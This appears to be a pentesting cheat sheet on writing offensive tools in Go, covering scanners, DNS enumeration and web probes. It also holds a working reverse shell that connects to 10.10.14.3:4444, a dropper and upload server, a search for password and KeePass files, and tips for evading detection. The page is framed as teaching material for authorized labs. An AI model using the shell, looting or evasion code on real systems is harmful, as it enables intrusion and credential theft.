GoLang for Pentesters
Go for Pentesters — Fast, Static, Cross-Platform Operators’ Toolkit
⚠️ Authorized labs/CTFs only. Use responsibly and legally. Many orgs detect Go beacons by behavior; keep OPSEC in mind.
I. 🧩 Why Go for Offense & Tooling
Single static binary (no deps), great for constrained targets.
Cross-compile to Linux/Windows/macOS/ARM easily.
Batteries-included networking, TLS, HTTP/2, DNS, gzip.
Easy concurrency → high-speed scanners, fuzzers, crawlers.
II. ⚙️ Environment & Cross-Compilation
# install & verify
go version
go env GOPATH GOROOT
# module init
mkdir go-op && cd go-op
go mod init lab/go-op
go get ./... # to fetch deps later
# build static (disable CGO), strip symbols
CGO_ENABLED=0 go build -ldflags="-s -w" -o tool .
# cross-compile examples
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o tool.exe .
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -ldflags="-s -w" -o tool_aarch64 .OPSEC: add jitter/backoff; set legit
User-Agent; respect timeouts; avoid noisy parallelism on production networks.
III. 🌐 HTTP Client (Enum, Dirb, API fuzz)
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"time"
)
func newClient() *http.Client {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // lab only
MaxIdleConns: 100, IdleConnTimeout: 30 * time.Second,
}
return &http.Client{
Transport: tr, Timeout: 8 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
}
func main() {
c := newClient()
req, _ := http.NewRequest("GET", "https://target.local/", nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (compatible; ResearchBot/1.0)")
resp, err := c.Do(req)
if err != nil { panic(err) }
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
fmt.Println(resp.Status, len(b), "bytes")
}Tips
Follow/skip redirects to catch open redirects.
Add headers:
X-Forwarded-For,Origin,Refererfor CORS tests.Detect tech via headers & body snippets.
IV. 🚀 Concurrency Patterns (Worker Pool)
type job struct{ URL string }
type result struct{ URL string; Code int; Err error }
func worker(id int, jobs <-chan job, results chan<- result, client *http.Client) {
for j := range jobs {
req, _ := http.NewRequest("GET", j.URL, nil)
resp, err := client.Do(req)
if err != nil { results <- result{j.URL, 0, err}; continue }
resp.Body.Close()
results <- result{j.URL, resp.StatusCode, nil}
}
}Use
context.WithTimeoutfor per-request deadlines.Backpressure via bounded channels.
V. 🔍 Fast TCP Port Scanner (Banner Grabbing)
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), 600*time.Millisecond)
if err == nil {
conn.SetReadDeadline(time.Now().Add(500*time.Millisecond))
conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
buf := make([]byte, 256)
n, _ := conn.Read(buf)
banner := strings.TrimSpace(string(buf[:n]))
fmt.Printf("%s:%d OPEN %q\n", host, port, banner)
conn.Close()
}Expand to CIDR sweep with goroutines + semaphore (e.g., 512).
VI. 🧭 DNS & Subdomain Enum (Built-in Resolver)
ips, _ := net.LookupIP("example.com")
txts, _ := net.LookupTXT("example.com")
cname, _ := net.LookupCNAME("dev.example.com")
srvs, _ := net.LookupSRV("xmpp-server","tcp","example.com")For custom resolvers / brute, use
miekg/dns(EDNS, AXFR tests).Zone transfer check:
m := new(dns.Msg); m.SetAxfr("example.com.")
axfr, _ := dns.NewTransfer(true).In(m, "ns1.example.com:53")
for env := range axfr { for _, rr := range env.RR { fmt.Println(rr.String()) } }VII. 📂 File Ops & Search (Looting in Labs)
filepath.WalkDir("C:\\", func(p string, d fs.DirEntry, err error) error {
if err == nil && !d.IsDir() {
if strings.Contains(strings.ToLower(p), "pass") || strings.HasSuffix(p, ".kdbx") {
fmt.Println(p)
}
}
return nil
})Add size/time filters; respect exclude dirs; throttle I/O.
VIII. 🔁 Simple Reverse Shell (Lab Demo)
Education only; many EDRs flag interactive sockets. Prefer authorized remote admin methods in real environments.
conn, err := net.Dial("tcp", "10.10.14.3:4444")
if err != nil { return }
cmd := exec.Command("cmd.exe") // or "/bin/sh"
r, w := io.Pipe()
cmd.Stdin = conn
cmd.Stdout = w
cmd.Stderr = w
go io.Copy(conn, r)
cmd.Run()
conn.Close()Add heartbeat/jitter; TLS wrap with
crypto/tlsif needed (again: labs only).
IX. 🧪 HTTP File Server / Dropper (One-File)
http.HandleFunc("/get", func(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "tool.bin")
})
http.HandleFunc("/put", func(w http.ResponseWriter, r *http.Request) {
f, _ := os.CreateTemp("", "upload-*"); io.Copy(f, r.Body); f.Close(); w.Write([]byte("ok"))
})
log.Fatal(http.ListenAndServe(":8000", nil))Add basic auth; randomize routes; log requester IPs.
X. 🔐 Windows Lab Helpers (Only With Permission)
Process list / services: use
golang.org/x/sys/windowsfor native calls.Named pipes / WMI:
StackExchange/wmican query classes quickly.Token info:
x/sys/windows→OpenProcessToken(reading, not tampering).
(Avoid credential dumping; keep this module clean/legal.)
XI. 🕸️ Web Hacking Helpers
Param brute (fast):
for _, k := range []string{"id","q","file","lang","debug"} {
u, _ := url.Parse(base)
q := u.Query(); q.Set(k, "1"); u.RawQuery = q.Encode()
do(u.String())
}CORS probe:
req, _ := http.NewRequest("GET", target, nil)
req.Header.Set("Origin", "https://evil.example") // lab
resp, _ := c.Do(req)
fmt.Println(resp.Header.Get("Access-Control-Allow-Origin"),
resp.Header.Get("Access-Control-Allow-Credentials"))Open redirect check: test ?next=//attacker and \/\/attacker.
XII. 🧰 Packaging & OPSEC
-ldflags "-s -w"strips symbols;upxcompresses (often detected).Config via env/flags (no hardcoded IPs).
Rotate JA3/ALPN? Go’s TLS fingerprint is common; front via reverse proxy if needed in labs.
Logging to file with timestamps; keep audit trail for your engagement report.
XIII. 📦 Handy Libraries (Well-Known)
DNS:
github.com/miekg/dnsTLS helpers:
crypto/tls,utls(lab research only)HTTP scraping:
github.com/PuerkitoBio/goqueryConcurrency utils:
golang.org/x/sync/semaphoreCLI UX:
github.com/spf13/cobra+viper(flags/config)YAML/JSON:
gopkg.in/yaml.v3,encoding/json
XIV. 🧠 Checklists
Build
Runtime
OPSEC
XV. ⚡ Quick Reference Table
GET with TLS skip (lab)
custom transport + InsecureSkipVerify: true
Dir brute (fast)
worker pool + bounded chan
Banner grab
net.DialTimeout + Read
DNS lookups
net.Lookup* or miekg/dns
Reverse shell
net.Dial + exec.Command piping
File server
http.HandleFunc + ServeFile
Zip results
archive/zip (or tar/gzip)
Last updated
Was this helpful?